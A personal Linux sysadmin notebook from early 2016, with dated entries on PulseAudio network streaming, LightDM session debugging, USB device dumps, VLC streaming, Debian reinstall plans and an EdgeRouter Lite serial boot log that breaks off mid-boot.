http://dmx.sourceforge.net/ Entry: secure network Date: Mon Feb 15 10:51:42 EST 2016 So what I want is something that looks like an ordinary (TCP) network, but is actually separate and distributed (actually networked). Wire security is easy: use a VPN. OpenVPN would work, but it is not decentralized. IPSec is decentralized? But then, what about host user security? I also want to make sure that only one user has access to the network, as internally it is "naked", e.g. services are not using encryption. Currently it looks as if the only way to do this properly, is to use per connection security, i.e. SSL. Entry: using raw HID device Date: Mon Feb 15 22:39:26 EST 2016 Attempt 1: detach using libusb -> too complicated. Attempt 2: use xinput to disable, then read /dev/hidraw? xinput --list xinput set-int-prop <id> "Device Enabled" 8 <0/1> http://unix.stackexchange.com/questions/105870/disable-the-external-keyboard-from-a-script better, use hidapi: (replacement of libhid) http://www.signal11.us/oss/hidapi/ https://msdn.microsoft.com/en-us/library/windows/hardware/jj126202%28v=vs.85%29.aspx Entry: pulseaudio network Date: Tue Feb 16 18:59:27 EST 2016 Seems that doing this with jack is a moot point: hard to get to work properly. I really only need it for ad-hoc things that are not so sensitive to network problems. http://serendipity.ruwenzori.net/index.php/2015/06/01/sending-an-audio-stream-across-the-network-to-a-remote-raspberry-pi-with-pulseaudio-the-easy-way It's quite simple actually: Add this to /etc/pulse/defaults.pa on # server load-module module-native-protocol-tcp # client load-module module-tunnel-sink-new server=pt A simpler way to do this is likely to transport the unix socket using e.g. socat over ssh, but I don't want to get into dbus issues (likely not that simple...). However it might be possible to slave it to a unix socket instead of tcp. this works: tom@tp:/tmp/pulse-pVCJOtEM6pt3$ mv native native_ socat UNIX-LISTEN:native,fork UNIX-CONNECT:native_ lets try with ssh this works tom@tp:~$ socat UNIX-LISTEN:/tmp/pulse-pVCJOtEM6pt3/native,fork exec:'ssh pt "socat - UNIX-CONNECT:/tmp/pulse-2L9K88eMlGn7/native"' but only after stealing the socket from a running pulseaudio, so likely dbus or something has a reference. I guess for now this is ok, if it's done over vpn or tcp tunneled over ssh. RTP also works: # server load-module module-null-sink sink_name=rtp load-module module-rtp-send source=rtp.monitor # client module-rtp-recv Problem is: too many packets on wifi. Not usable. Would be nice to do this with another solution, e.g.: pulse -> jack -> compress/rtp -> rtp/decompress -> pulse/jack mentioned here http://www.diyaudio.com/forums/pc-based/284528-diy-streaming-audio-thread.html is gstreamer that might work or ffmpeg: https://trac.ffmpeg.org/wiki/StreamingGuide for now, tcp +- works fine with pulse. to make it easier to use, use zeroconf: https://www.freedesktop.org/wiki/Software/PulseAudio/Documentation/User/Network/#index2h2 Entry: pulseaudio/dbus/jack Date: Fri Feb 19 12:18:14 EST 2016 It might be easier to start jack using jack_control. jack_control eps realtime true # equivalent to -R jack_control ds alsa # -dalsa jack_control dps device hw:0 # -dhw:USB jack_control dps period 1024 # -p256 jack_control start This uses: ### Automatically connect sink and source if JACK server is present .ifexists module-jackdbus-detect.so .nofail load-module module-jackdbus-detect channels=2 .fail .endif Instead of the manual: ## apt-get install pulseaudio-module-jack #.ifexists module-jack-source.so #load-module module-jack-source #.endif #.ifexists module-jack-sink.so #load-module module-jack-sink #.endif Entry: Machine startup Date: Fri Feb 19 13:55:39 EST 2016 - /etc/inittab -> login root automatically (debug only) - /etc/lightdm -> start session (~/.xsession) tom@zoe:/etc/lightdm$ cat lightdm.conf [LightDM] [SeatDefaults] autologin-user=tom autologin-user-timeout=0 [Seat:*] [XDMCPServer] [VNCServer] -------------- Below is debug log about tracking down the problem again. Session managers start .xsession, startx starts .xinitrc Fooled how many times now? Then in dot/xinitrc.$HOSTNAME add the host-specific hacks, such as start kodi. Wtf that doesn't work any more.. In /var/log/lightdm/lightdm.log: [+0.59s] DEBUG: Session pid=4211: Running command /etc/X11/Xsession default [+0.59s] DEBUG: Creating shared data directory /var/lib/lightdm/data/tom [+0.59s] DEBUG: Session pid=4211: Logging to .xsession-errors [+0.60s] DEBUG: Activating VT 7 [+1.58s] DEBUG: Session pid=4211: Exited with return value 5 # .xsession-errors: Xsession: X session started for tom at Fri Feb 19 14:08:18 EST 2016 localuser:tom being added to access control list ** (x-window-manager:4216): WARNING **: Error retrieving accessibility bus address: org.freedesktop.DBus.Error.ServiceUnknown: The name org.a11y.Bus was not provided by any .service files (x-window-manager:4216): GLib-GIO-ERROR **: Settings schema 'org.gnome.settings-daemon.peripherals.mouse' is not installed Tracing this down by adding this line in the loop on the end of /etc/X11/Xsession echo "sourcing $SESSIONFILE" >>"$ERRFILE" Result ends up in .xsession-errors Error is caused by: sourcing /etc/X11/Xsession.d/99x11-common_start Eventually it execs this: STARTUP=/usr/bin/ssh-agent /usr/bin/dbus-launch --exit-with-session x-window-manager Why is it not just running my x session file? culprit: # $Id: 50x11-common_determine-startup 305 2005-07-03 18:51:43Z dnusinow $ # If no X session startup program was passed to the Xsession script as an # argument (e.g., by the display manager), or if that program was not # executable, fall back to looking for a user's custom X session script, if # allowed by the options file. if [ -z "$STARTUP" ]; then if has_option allow-user-xsession; then for STARTUPFILE in "$USERXSESSION" "$ALTUSERXSESSION"; do if [ -e "$STARTUPFILE" ]; then if [ -x "$STARTUPFILE" ]; then STARTUP="$STARTUPFILE" else shell=${SHELL:-sh} STARTUP="$shell $STARTUPFILE" fi break fi done fi fi Entry: pulseaudio Date: Fri Feb 19 16:12:49 EST 2016 moved from jackd to jack_control / jackdbus and the tcp no longer works. i'm done with this shit really. it works locally, and the connection to jack seems to work. more is not needed: - streaming videos: use kodi - streaming local media: use nfs on vpn The only other thing I need it for is RAI experiments, but this can also be done by running it on the machine. Basically, put the processing where the data is (or needs to go). Entry: kodi maintainoriginalvolume Date: Fri Feb 19 16:23:05 EST 2016 It seems to overwrite the settings.. - <maintainoriginalvolume default="true">true</maintainoriginalvolume> + <maintainoriginalvolume default="true">false</maintainoriginalvolume> Bug in kodi? Other machines dont do this. Adding workaround to reset to git HEAD. Entry: streaming to kodi Date: Fri Feb 19 17:22:53 EST 2016 https://www.reddit.com/r/xbmc/comments/2gj0oz/can_i_stream_a_browser_window_to_xbmc/ Entry: double tunnel hop? Date: Sat Feb 20 18:15:59 EST 2016 easiest to just retunnel twice manually Entry: rygel Date: Mon Feb 22 18:45:03 EST 2016 https://wiki.gnome.org/action/show/Projects/Rygel?action=show&redirect=Rygel Entry: old roku Date: Mon Feb 22 18:46:43 EST 2016 Roku's "Media Player" for DLNA (only limited formats). Plex, MediaBrowser, Chaneru, Rokxbox http://forums.roku.com/viewtopic.php?p=476753&sid=4f50b021db0cc7c6f3c5a4cb8470faad http://kodi.wiki/view/UPnP Entry: ipevo document camera Date: Wed Feb 24 01:41:37 EST 2016 seems to work ok with: vlc v4l2:///dev/video1 tom@tp:~$ lsusb -s 2:78 -v Bus 002 Device 078: ID 1778:0210 Couldn't open device, some information will be missing Device Descriptor: bLength 18 bDescriptorType 1 bcdUSB 2.00 bDeviceClass 239 Miscellaneous Device bDeviceSubClass 2 ? bDeviceProtocol 1 Interface Association bMaxPacketSize0 64 idVendor 0x1778 idProduct 0x0210 bcdDevice 7.22 iManufacturer 1 iProduct 2 iSerial 0 bNumConfigurations 1 Configuration Descriptor: bLength 9 bDescriptorType 2 wTotalLength 804 bNumInterfaces 5 bConfigurationValue 1 iConfiguration 0 bmAttributes 0x80 (Bus Powered) MaxPower 500mA Interface Association: bLength 8 bDescriptorType 11 bFirstInterface 2 bInterfaceCount 2 bFunctionClass 1 Audio bFunctionSubClass 0 bFunctionProtocol 0 iFunction 0 Interface Descriptor: bLength 9 bDescriptorType 4 bInterfaceNumber 2 bAlternateSetting 0 bNumEndpoints 0 bInterfaceClass 1 Audio bInterfaceSubClass 1 Control Device bInterfaceProtocol 0 iInterface 0 AudioControl Interface Descriptor: bLength 9 bDescriptorType 36 bDescriptorSubtype 1 (HEADER) bcdADC 1.00 wTotalLength 40 bInCollection 1 baInterfaceNr( 0) 3 AudioControl Interface Descriptor: bLength 12 bDescriptorType 36 bDescriptorSubtype 2 (INPUT_TERMINAL) bTerminalID 1 wTerminalType 0x0201 Microphone bAssocTerminal 0 bNrChannels 2 wChannelConfig 0x0000 iChannelNames 0 iTerminal 0 AudioControl Interface Descriptor: bLength 10 bDescriptorType 36 bDescriptorSubtype 6 (FEATURE_UNIT) bUnitID 2 bSourceID 1 bControlSize 1 bmaControls( 0) 0x03 Mute Control Volume Control bmaControls( 1) 0x00 bmaControls( 2) 0x00 iFeature 0 AudioControl Interface Descriptor: bLength 9 bDescriptorType 36 bDescriptorSubtype 3 (OUTPUT_TERMINAL) bTerminalID 3 wTerminalType 0x0101 USB Streaming bAssocTerminal 0 bSourceID 2 iTerminal 0 Interface Descriptor: bLength 9 bDescriptorType 4 bInterfaceNumber 3 bAlternateSetting 0 bNumEndpoints 0 bInterfaceClass 1 Audio bInterfaceSubClass 2 Streaming bInterfaceProtocol 0 iInterface 0 Interface Descriptor: bLength 9 bDescriptorType 4 bInterfaceNumber 3 bAlternateSetting 1 bNumEndpoints 1 bInterfaceClass 1 Audio bInterfaceSubClass 2 Streaming bInterfaceProtocol 0 iInterface 0 AudioStreaming Interface Descriptor: bLength 7 bDescriptorType 36 bDescriptorSubtype 1 (AS_GENERAL) bTerminalLink 3 bDelay 1 frames wFormatTag 1 PCM AudioStreaming Interface Descriptor: bLength 11 bDescriptorType 36 bDescriptorSubtype 2 (FORMAT_TYPE) bFormatType 1 (FORMAT_TYPE_I) bNrChannels 2 bSubframeSize 2 bBitResolution 16 bSamFreqType 1 Discrete tSamFreq[ 0] 48000 Endpoint Descriptor: bLength 9 bDescriptorType 5 bEndpointAddress 0x83 EP 3 IN bmAttributes 1 Transfer Type Isochronous Synch Type None Usage Type Data wMaxPacketSize 0x00c4 1x 196 bytes bInterval 4 bRefresh 0 bSynchAddress 0 AudioControl Endpoint Descriptor: bLength 7 bDescriptorType 37 bDescriptorSubtype 1 (EP_GENERAL) bmAttributes 0x00 bLockDelayUnits 0 Undefined wLockDelay 0 Undefined Interface Descriptor: bLength 9 bDescriptorType 4 bInterfaceNumber 4 bAlternateSetting 0 bNumEndpoints 1 bInterfaceClass 3 Human Interface Device bInterfaceSubClass 0 No Subclass bInterfaceProtocol 0 None iInterface 0 HID Device Descriptor: bLength 9 bDescriptorType 33 bcdHID 1.10 bCountryCode 0 Not supported bNumDescriptors 1 bDescriptorType 34 Report wDescriptorLength 64 Report Descriptors: ** UNAVAILABLE ** Endpoint Descriptor: bLength 7 bDescriptorType 5 bEndpointAddress 0x85 EP 5 IN bmAttributes 3 Transfer Type Interrupt Synch Type None Usage Type Data wMaxPacketSize 0x0008 1x 8 bytes bInterval 10 Interface Association: bLength 8 bDescriptorType 11 bFirstInterface 0 bInterfaceCount 2 bFunctionClass 14 Video bFunctionSubClass 3 Video Interface Collection bFunctionProtocol 0 iFunction 2 Interface Descriptor: bLength 9 bDescriptorType 4 bInterfaceNumber 0 bAlternateSetting 0 bNumEndpoints 1 bInterfaceClass 14 Video bInterfaceSubClass 1 Video Control bInterfaceProtocol 0 iInterface 2 VideoControl Interface Descriptor: bLength 13 bDescriptorType 36 bDescriptorSubtype 1 (HEADER) bcdUVC 1.00 wTotalLength 80 dwClockFrequency 6.000000MHz bInCollection 1 baInterfaceNr( 0) 1 VideoControl Interface Descriptor: bLength 18 bDescriptorType 36 bDescriptorSubtype 2 (INPUT_TERMINAL) bTerminalID 1 wTerminalType 0x0201 Camera Sensor bAssocTerminal 0 iTerminal 0 wObjectiveFocalLengthMin 0 wObjectiveFocalLengthMax 0 wOcularFocalLength 0 bControlSize 3 bmControls 0x000200a2 Auto-Exposure Mode Focus (Absolute) Iris (Absolute) Focus, Auto VideoControl Interface Descriptor: bLength 11 bDescriptorType 36 bDescriptorSubtype 5 (PROCESSING_UNIT) Warning: Descriptor too short bUnitID 3 bSourceID 1 wMaxMultiplier 0 bControlSize 2 bmControls 0x0000147f Brightness Contrast Hue Saturation Sharpness Gamma White Balance Temperature Power Line Frequency White Balance Temperature, Auto iProcessing 0 bmVideoStandards 0x1d None PAL - 625/50 SECAM - 625/50 NTSC - 625/50 VideoControl Interface Descriptor: bLength 29 bDescriptorType 36 bDescriptorSubtype 6 (EXTENSION_UNIT) bUnitID 4 guidExtensionCode {2652215a-8932-5641-894a-5c557cdf9664} bNumControl 4 bNrPins 1 baSourceID( 0) 3 bControlSize 4 bmControls( 0) 0xff bmControls( 1) 0xff bmControls( 2) 0xff bmControls( 3) 0xff iExtension 0 VideoControl Interface Descriptor: bLength 9 bDescriptorType 36 bDescriptorSubtype 3 (OUTPUT_TERMINAL) bTerminalID 2 wTerminalType 0x0101 USB Streaming bAssocTerminal 0 bSourceID 4 iTerminal 0 Endpoint Descriptor: bLength 7 bDescriptorType 5 bEndpointAddress 0x81 EP 1 IN bmAttributes 3 Transfer Type Interrupt Synch Type None Usage Type Data wMaxPacketSize 0x0008 1x 8 bytes bInterval 9 Interface Descriptor: bLength 9 bDescriptorType 4 bInterfaceNumber 1 bAlternateSetting 0 bNumEndpoints 1 bInterfaceClass 14 Video bInterfaceSubClass 2 Video Streaming bInterfaceProtocol 0 iInterface 0 Endpoint Descriptor: bLength 7 bDescriptorType 5 bEndpointAddress 0x82 EP 2 IN bmAttributes 5 Transfer Type Isochronous Synch Type Asynchronous Usage Type Data wMaxPacketSize 0x0000 1x 0 bytes bInterval 1 INTERFACE CLASS: 0f 24 01 02 08 02 82 00 02 02 01 00 01 00 00 INTERFACE CLASS: 1b 24 04 01 09 59 55 59 32 00 00 10 00 80 00 00 aa 00 38 9b 71 10 01 00 00 00 00 INTERFACE CLASS: 1e 24 05 01 00 00 04 00 03 00 00 0b 40 00 00 0b 40 00 00 18 00 2a 2c 0a 00 01 2a 2c 0a 00 INTERFACE CLASS: 1e 24 05 02 00 80 02 e0 01 00 00 08 ca 00 00 08 ca 00 60 09 00 15 16 05 00 01 15 16 05 00 INTERFACE CLASS: 1e 24 05 03 00 20 03 58 02 a0 00 0d bb a0 00 0d bb 00 a6 0e 00 2a 2c 0a 00 01 2a 2c 0a 00 INTERFACE CLASS: 1e 24 05 04 00 00 05 d0 02 00 00 1a 5e 00 00 1a 5e 00 20 1c 00 15 16 05 00 01 15 16 05 00 INTERFACE CLASS: 1e 24 05 05 00 40 06 b0 04 00 40 77 1b 00 40 77 1b 00 98 3a 00 2a 2c 0a 00 01 2a 2c 0a 00 INTERFACE CLASS: 1e 24 05 06 00 80 07 38 04 00 00 90 7e 00 00 90 7e 00 48 3f 00 a0 25 26 00 01 a0 25 26 00 INTERFACE CLASS: 1e 24 05 07 00 00 08 00 06 00 00 0c 00 00 00 0c 00 00 00 60 00 a0 25 26 00 01 a0 25 26 00 INTERFACE CLASS: 1e 24 05 08 00 20 0a 98 07 60 00 09 9c 60 00 09 9c 00 c6 99 00 40 4b 4c 00 01 40 4b 4c 00 INTERFACE CLASS: 1e 24 05 01 00 00 04 00 03 00 00 0b 40 00 00 0b 40 00 00 18 00 2a 2c 0a 00 01 2a 2c 0a 00 INTERFACE CLASS: 0b 24 03 00 01 20 0a 98 07 01 00 INTERFACE CLASS: 0b 24 06 02 06 00 01 00 00 00 00 INTERFACE CLASS: 1e 24 07 01 00 00 04 00 03 00 00 0b 40 00 00 0b 40 00 00 18 00 2a 2c 0a 00 01 2a 2c 0a 00 INTERFACE CLASS: 1e 24 07 02 00 80 02 e0 01 00 00 08 ca 00 00 08 ca 00 60 09 00 15 16 05 00 01 15 16 05 00 INTERFACE CLASS: 1e 24 07 03 00 20 03 58 02 a0 00 0d bb a0 00 0d bb 00 a6 0e 00 2a 2c 0a 00 01 2a 2c 0a 00 INTERFACE CLASS: 1e 24 07 04 00 00 05 d0 02 00 00 1a 5e 00 00 1a 5e 00 20 1c 00 15 16 05 00 01 15 16 05 00 INTERFACE CLASS: 1e 24 07 05 00 40 06 b0 04 00 40 77 1b 00 40 77 1b 00 98 3a 00 2a 2c 0a 00 01 2a 2c 0a 00 INTERFACE CLASS: 1e 24 07 01 00 00 04 00 03 00 00 0b 40 00 00 0b 40 00 00 18 00 2a 2c 0a 00 01 2a 2c 0a 00 INTERFACE CLASS: 06 24 0d 00 00 00 Interface Descriptor: bLength 9 bDescriptorType 4 bInterfaceNumber 1 bAlternateSetting 1 bNumEndpoints 1 bInterfaceClass 14 Video bInterfaceSubClass 2 Video Streaming bInterfaceProtocol 0 iInterface 0 Endpoint Descriptor: bLength 7 bDescriptorType 5 bEndpointAddress 0x82 EP 2 IN bmAttributes 5 Transfer Type Isochronous Synch Type Asynchronous Usage Type Data wMaxPacketSize 0x13fc 3x 1020 bytes bInterval 1 tom@tp:~$ Entry: vlc streaming Date: Wed Feb 24 02:04:13 EST 2016 # example from web cvlc v4l2:///dev/video0 :sout="#transcode{vcodec=WMV2,vb=800,scale=1,acodec=wma2,ab=128,channels=2,samplerate=44100}:http{dst=:8080/stream.wmv}" # no audio, different codec cvlc v4l2:///dev/video0 :sout="#transcode{vcodec=mp4v,vb=1800}:http{dst=:8080/stream.wmv}" # with explicit mux: cvlc v4l2:///dev/video0 :sout="#transcode{vcodec=mp4vb=1800}:http{mux=asf,dst=:8080/stream}" Entry: reminder: old openwrt Date: Wed Feb 24 23:40:50 EST 2016 tom@tp:~$ ssh root@1.1.1.100 Read from socket failed: Connection reset by peer Needs: http://ftp.belnet.be/pub/OpenBSD/OpenSSH/portable/openssh-5.5p1.tar.gz Entry: apt-clone Date: Fri Feb 26 19:56:11 EST 2016 In an attempt to make a reproducable base system, start with reproducing the debian setup, than work towards building a patch set on top of that. apt-clone clone tp install a base system (how to do that properly with debootstrap?) Fails with: (/vol/2/chroot/i386)root@zoo:/# apt-clone restore tp.apt-clone.tar.gz Traceback (most recent call last): File "/usr/bin/apt-clone", line 125, in <module> mirror=args.rewrite_server) File "/usr/lib/python3/dist-packages/apt_clone.py", line 497, in restore_state self._restore_sources_list(statefile, targetdir, mirror=mirror) File "/usr/lib/python3/dist-packages/apt_clone.py", line 544, in _restore_sources_list tar.extract(self.TARPREFIX+"etc/apt/sources.list", targetdir) File "/usr/lib/python3.5/tarfile.py", line 2025, in extract tarinfo = self.getmember(member) File "/usr/lib/python3.5/tarfile.py", line 1737, in getmember raise KeyError("filename %r not found" % name) KeyError: "filename './etc/apt/sources.list' not found" (/vol/2/chroot/i386)root@zoo:/# http://unix.stackexchange.com/questions/191662/how-do-i-replicate-installed-package-selections-from-one-debian-system-to-anothe Entry: bridging wireless interfaces Date: Sat Feb 27 18:04:05 EST 2016 To bridge wifi interface you may use iw tool to enable 4addr likewise: # iw dev <wifiInterface> set 4addr on ie: # brctl addif <bridgename> <wifiInterface> can't add <wifiInterface> to bridge <bridgename>: Operation not supported # iw dev <wifiInterface> set 4addr on # brctl addif <bridgename> <wifiInterface> Now it should work. You can show bridges using: # brctl show http://serverfault.com/questions/152363/bridging-wlan0-to-eth0 Model: SD SA08G (sd/mmc) Disk /dev/mmcblk0: 15126528s Sector size (logical/physical): 512B/512B Partition Table: msdos Disk Flags: Number Start End Size Type File system Flags 1 8192s 131071s 122880s primary fat16 lba 2 131072s 2658303s 2527232s primary ext4 Entry: xmodmap on USB hotplug Date: Mon Mar 7 01:59:01 EST 2016 # use this instead? [1] setxkbmap -option ctrl:swapcaps Another suggestion[2] is to use inotify: use udev to create a symlink, then use inotify running as the session user to pick that up. [1] https://bbs.archlinux.org/viewtopic.php?id=172421 [2] http://superuser.com/questions/249064/udev-rule-to-auto-load-keyboard-layout-when-usb-keyboard-plugged-in Entry: moving darcs to git Date: Mon Mar 14 12:08:24 EDT 2016 git has won the popularity contest long ago, and it's getting increasinbly difficult to use both, so let's switch over the darcs archives to git. needed: a good converter that preserves history. http://offog.org/notes/converting-to-git/ https://github.com/nh2/darcs-fastconvert If it is possible to go both ways, that would be great. But for now I really need to switch to one system for daily use. Entry: git fetch <host> <b>:<b> Date: Thu Mar 24 12:01:23 EDT 2016 fatal: Refusing to fetch into current branch refs/heads/smartplayer of non-bare repository fatal: The remote end hung up unexpectedly Entry: reinstall Date: Thu Mar 24 12:55:45 EDT 2016 Next task on the road to many computers at once: I'm carrying around too much state, and a setup that is too heterogenous. Make a script to reinstall a debian machine from scratch, and make packages for the modifications, or make a way to patch them from a git repository. Existing starting points: http://zwizwa.be/darcs/pool/bin/kvm-debootstrap (old http://zwizwa.be/darcs/pool/bin/debootstrap.sh Probably good to set up a cache for this. EDIT: apt-cacher-ng Entry: "desktop" machine Date: Sat Mar 26 14:02:08 EDT 2016 What worries me is that cups now depends on systemd (through dbus). I don't see now how to work around that. I think time has come to split all "office" tasks into a separate vm or chroot that pretty much runs a standard debian or ubuntu distribution. I require too many customizations in my "main" work and use, but use "office" tasks only rarely. And then set up the build machines to delegate to those. For cups, it might already be enough to just do port forwarding to a single machine, instead of running the daemon everywhere. Nope.. Messes up auto-discovery.. Plan: - lean, modded dev system, duplicated - desktop machine: standard install, as vm per workstation/laptop or as application server per network EDIT: installing cups pulls in systemd, but removing systemd doesn't remove cups. dependency problem? root@zoe:~# apt-get remove systemd Reading package lists... Done Building dependency tree Reading state information... Done The following packages will be REMOVED: colord libpam-systemd policykit-1 systemd colord <- policykit-1 <- libpam-systemd <- systemd http://without-systemd.org/wiki/index.php/How_to_install_systemd-independent_udisks2_and_policykit_before_removing_systemd_from_a_Debian_jessie/sid_installation Entry: installing grub to an image Date: Sun Mar 27 10:48:39 EDT 2016 This works up to the point that grub tries to load the UUID of the main harddisk. How to find the UUID of the main disk? For a nbd, it doesn't show up in /dev/disk/by-uuid. NBD=/dev/nbd0 need_grub() { need_rfs mount_image (cd mnt ; ./chroot.sh apt-get --assume-yes install grub linux-image-amd64; echo "UUID=$UUID / ext3 errors=remount-ro 0 1" >>etc/fstab; grub-install $NBD; update-grub) umount_image # fix grub install grub-install $NBD --root-directory=mnt } # blkid -o export /dev/nbd0p1 DEVNAME=/dev/nbd0p1 UUID=65949277-de7b-4af8-b1d6-85d1038d82e1 TYPE=ext3 PARTUUID=be910b11-01 Entry: Fixing email Date: Mon Mar 28 10:58:48 EDT 2016 - move email away from hosted server. - outside smtp -> delegate to internal host - solve duplication internally Entry: NFS security Date: Mon Mar 28 11:10:06 EDT 2016 It would be nice to have NFS over VPN. Though this requires root to be trusted on all machines that have the VPN keys. Maybe it's better to stick to ssh for network security, as it is easier to ganularize. For emacs, use tramp. Entry: Edgerouter Date: Wed Mar 30 10:11:21 EDT 2016 Replace soekris with edgerouter. Having I/O problems... http://dev.debwrt.net/wiki/EdgeRouterLite Which one to get? The newer 256MB EdgeRouter X, or older 512MB EdgeRouter Lite. I'd say ram is more important. Found a Lite on eBay.. EDIT: arrived tom@zoe:~$ picocom --baud 115200 /dev/ttyUSB0 picocom --baud 115200 /dev/ttyUSB0 picocom v1.7 port is : /dev/ttyUSB0 flowcontrol : none baudrate is : 115200 parity is : none databits are : 8 escape is : C-a local echo is : no noinit is : no noreset is : no nolock is : no send_cmd is : sz -vv receive_cmd is : rz -vv imap is : omap is : emap is : crcrlf,delbs, Terminal ready Looking for valid bootloader image.... Jumping to start of image at address 0xbfc80000 U-Boot 1.1.1 (UBNT Build ID: 4493936-g009d77b) (Build time: Sep 20 2012 - 15:48:51) BIST check passed. UBNT_E100 r1:2, r2:14, serial #: DC9FDB28CD9D Core clock: 500 MHz, DDR clock: 266 MHz (532 Mhz data rate) DRAM: 512 MB Clearing DRAM....... done Flash: 4 MB Net: octeth0, octeth1, octeth2 USB: (port 0) scanning bus for devices... 1 USB Devices found scanning bus for storage devices... Device 0: Vendor: Prod.: USB DISK 2.0 Rev: PMAP Type: Removable Hard Disk Capacity: 3700.6 MB = 3.6 GB (7579008 x 512) 0 reading vmlinux.64 .................................. 6866056 bytes read argv[2]: coremask=0x3 argv[3]: root=/dev/sda2 argv[4]: rootdelay=15 argv[5]: rw argv[6]: rootsqimg=squashfs.img argv[7]: rootsqwdir=w argv[8]: mtdparts=phys_mapped_flash:512k(boot0),512k(boot1),64k@3072k(eeprom) ELF file is 64 bit Allocating memory for mapped kernel segment, alignment: 0x400000 Allocated memory for ELF segment: addr: 0x400000, size 0x7de180 Processing PHDR 0 Loading 68ae80 bytes at 400000 Clearing 153300 bytes at a8ae80 ## Loading Linux kernel with entry point: 0x008e8130 ... Bootloader: Done loading app on coremask: 0x3 Linux version 3.10.20-UBNT (root@ubnt-builder2) (gcc version 4.7.0 (Cavium Inc. Version: SDK_3_1_0_p2 build 34) ) #1 SMP Fri Jan 29 20:11:31 PST 2016 CVMSEG size: 2 cache lines (256 bytes) Cavium Inc. SDK-3.1 bootconsole [early0] enabled CPU revision is: 000d0601 (Cavium Octeon+) Checking for the multiply/shift bug... no. Checking for the daddiu bug... no. Determined physical RAM map: memory: 0000000007400000 @ 0000000000c00000 (usable) memory: 0000000007c00000 @ 0000000008200000 (usable) memory: 000000000fc00000 @ 0000000410000000 (usable) memory: 0000000000648000 @ 0000000000400000 (usable) memory: 0000000000048000 @ 0000000000a48000 (usable after init) Wasting 57344 bytes for tracking 1024 unused pages software IO TLB [mem 0x01707000-0x01747000] (0MB) mapped at [8000000001707000-8000000001746fff] Zone ranges: DMA32 [mem 0x00400000-0xefffffff] Normal [mem 0xf0000000-0x41fbfffff] Movable zone start for each node Early memory node ranges node 0: [mem 0x00400000-0x00a8ffff] node 0: [mem 0x00c00000-0x07ffffff] node 0: [mem 0x08200000-0x0fdfffff] node 0: [mem 0x410000000-0x41fbfffff] Primary instruction cache 32kB, virtually tagged, 4 way, 64 sets, linesize 128 bytes. Primary data cache 16kB, 64-way, 2 sets, linesize 128 bytes. Secondary unified cache 128kB, 8-way, 128 sets, linesize 128 bytes. PERCPU: Embedded 10 pages/cpu @8000000001784000 s11904 r8192 d20864 u40960 Built 1 zonelists in Zone order, mobility grouping on. Total pages: 125887 Kernel command line: bootoctlinux $loadaddr coremask=0x3 root=/dev/sda2 rootdelay=15 rw rootsqimg=squashfs.img rootsqwdir=w mtdparts=phys_mapped_flash:512k(boot0),512k(boot1),64k@3072k(eeprom) console=ttyS0,115200 PID hash table entries: 2048 (order: 2, 16384 bytes) Dentry cache hash table entries: 65536 (order: 7, 524288 bytes) Inode-cache hash table entries: 32768 (order: 6, 262144 bytes) Memory: 495244k/510528k available (5074k kernel code, 15284k reserved, 1354k data, 288k init, 0k highmem) Hierarchical RCU implementation. Additional per-CPU info printed with stalls. NR_IRQS:255 Calibrating delay loop (skipped) preset value.. 1000.00 BogoMIPS (lpj=5000000) pid_max: default: 32768 minimum: 501 Security Framework initialized Mount-cache hash table entries: 256 Checking for the daddi bug... no. SMP: Booting CPU01 (CoreId 1)... CPU revision is: 000d0601 (Cavium Octeon+) Brought up 2 CPUs NET: Registered protocol family 16 bio: create slab <bio-0> at 0 SCSI subsystem initialized usbcore: registered new interface driver usbfs usbcore: registered new interface driver hub usbcore: registered new device driver usb Switching to clocksource OCTEON_CVMCOUNT NET: Registered protocol family 2 TCP established hash table entries: 4096 (order: 4, 65536 bytes) TCP bind hash table entries: 4096 (order: 4, 65536 bytes) TCP: Hash tables configured (established 4096 bind 4096) TCP: reno registered UDP hash table entries: 256 (order: 1, 8192 bytes) UDP-Lite hash table entries: 256 (order: 1, 8192 bytes) NET: Registered protocol family 1 octeon_pci_console: Console not created. /proc/octeon_perf: Octeon performance counter interface loaded HugeTLB registered 2 MB page size, pre-allocated 0 pages squashfs: version 4.0 (2009/01/31) Phillip Lougher Registering unionfs 2.5.13 (for 3.10.34) msgmni has been set to 967 io scheduler noop registered io scheduler cfq registered (default) Serial: 8250/16550 driver, 6 ports, IRQ sharing disabled 1180000000800.serial: ttyS0 at MMIO 0x1180000000800 (irq = 34) is a OCTEON console [ttyS0] enabled, bootconsole disabled console [ttyS0] enabled, bootconsole disabled 1180000000c00.serial: ttyS1 at MMIO 0x1180000000c00 (irq = 35) is a OCTEON loop: module loaded ehci_hcd: USB 2.0 'Enhanced' Host Controller (EHCI) Driver ohci_hcd: USB 1.1 'Open' Host Controller (OHCI) Driver OcteonUSB 16f0010000000.usbc: Octeon Host Controller OcteonUSB 16f0010000000.usbc: new USB bus registered, assigned bus number 1 OcteonUSB 16f0010000000.usbc: irq 56, io mem 0x00000000 hub 1-0:1.0: USB hub found hub 1-0:1.0: 1 port detected OcteonUSB: Registered HCD for port 0 on irq 56 usbcore: registered new interface driver usb-storage octeon_wdt: Initial granularity 5 Sec TCP: cubic registered NET: Registered protocol family 17 NET: Registered protocol family 15 Bootbus flash: Setting flash for 4MB flash at 0x1f800000 phys_mapped_flash: Found 1 x16 devices at 0x0 in 8-bit bank. Manufacturer ID 0x0000c2 Chip ID 0x0000a7 Amd/Fujitsu Extended Query Table at 0x0040 Amd/Fujitsu Extended Query version 1.1. phys_mapped_flash: Swapping erase regions for top-boot CFI table. number of CFI chips: 1 3 cmdlinepart partitions found on MTD device phys_mapped_flash Creating 3 MTD partitions on "phys_mapped_flash": 0x000000000000-0x000000080000 : "boot0" 0x000000080000-0x000000100000 : "boot1" 0x000000300000-0x000000310000 : "eeprom" Waiting 15sec before mounting root device... usb 1-1: new high-speed USB device number 2 using OcteonUSB usb-storage 1-1:1.0: USB Mass Storage device detected scsi0 : usb-storage 1-1:1.0 scsi 0:0:0:0: Direct-Access USB DISK 2.0 PMAP PQ: 0 ANSI: 4 sd 0:0:0:0: [sda] 7579008 512-byte logical blocks: (3.88 GB/3.61 GiB) sd 0:0:0:0: [sda] Write Protect is off sd 0:0:0:0: [sda] No Caching mode page found sd 0:0:0:0: [sda] Assuming drive cache: write through sd 0:0:0:0: [sda] No Caching mode page found sd 0:0:0:0: [sda] Assuming drive cache: write through sda: sda1 sda2 sd 0:0:0:0: [sda] No Caching mode page found sd 0:0:0:0: [sda] Assuming drive cache: write through sd 0:0:0:0: [sda] Attached SCSI removable disk kjournald starting. Commit interval 3 seconds EXT3-fs (sda2): warning: mounting fs with errors, running e2fsck is recommended 